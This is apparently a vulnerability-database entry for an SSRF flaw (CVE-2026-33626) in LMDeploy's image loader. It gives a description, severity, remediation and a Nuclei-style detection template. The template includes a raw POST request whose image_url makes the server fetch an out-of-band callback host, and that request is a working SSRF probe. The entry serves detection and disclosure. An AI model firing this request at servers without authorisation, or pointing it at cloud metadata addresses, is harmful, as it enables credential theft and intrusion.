LMDeploy - Server-Side Request Forgery
CVE-2026-33626
Verified
Description
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.
Severity
High
CVSS Score
7.5
Exploit Probability
9%
Affected Product
lmdeploy
Published Date
April 22, 2026
Template Author
theamanrawat
CVE-2026-33626.yaml
id: CVE-2026-33626
info:
name: LMDeploy - Server-Side Request Forgery
author: theamanrawat
severity: high
description: |
LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.
impact: |
An unauthenticated attacker can force the LMDeploy server to make HTTP requests to arbitrary internal or external addresses, leading to cloud credential theft via metadata APIs, internal service enumeration, and information disclosure.
remediation: |
Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.
reference:
- https://github.com/advisories/GHSA-6w67-hwm5-92mq
- https://github.com/InternLM/lmdeploy/security/advisories/GHSA-6w67-hwm5-92mq
- https://nvd.nist.gov/vuln/detail/CVE-2026-33626
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-33626
epss-score: 0.08696
epss-percentile: 0.92583
cwe-id: CWE-918
metadata:
verified: false
max-request: 2
vendor: internlm
product: lmdeploy
tags: cve,cve2026,lmdeploy,ssrf,oast,llm,vkev,unauth
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/v1/models"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "lmdeploy")'
condition: and
internal: true
- raw:
- |
POST /v1/chat/completions HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"model":"internlm-xcomposer2","messages":[{"role":"user","content":[{"type":"text","text":"Describe this image"},{"type":"image_url","image_url":{"url":"http://{{interactsh-url}}"}}]}]}
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(interactsh_protocol, "http")'
- 'contains(interactsh_request, "User-Agent")'
condition: and
# digest: 490a00463044022068cb7f5839fbf335d68c1c6df98e5ca26f765cd49f9cde4eb009991299bd2bb702202229aeb97dab7bcd1d4f1e91dd8b140cbe3a1fc92058ac59e9fe4b2b68e83cc8:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-33626
CWE ID:
cwe-918
Remediation Steps
Upgrade LMDeploy to version 0.12.3 or later where URL validation via _is_safe_url() blocks requests to non-globally-routable IP addresses.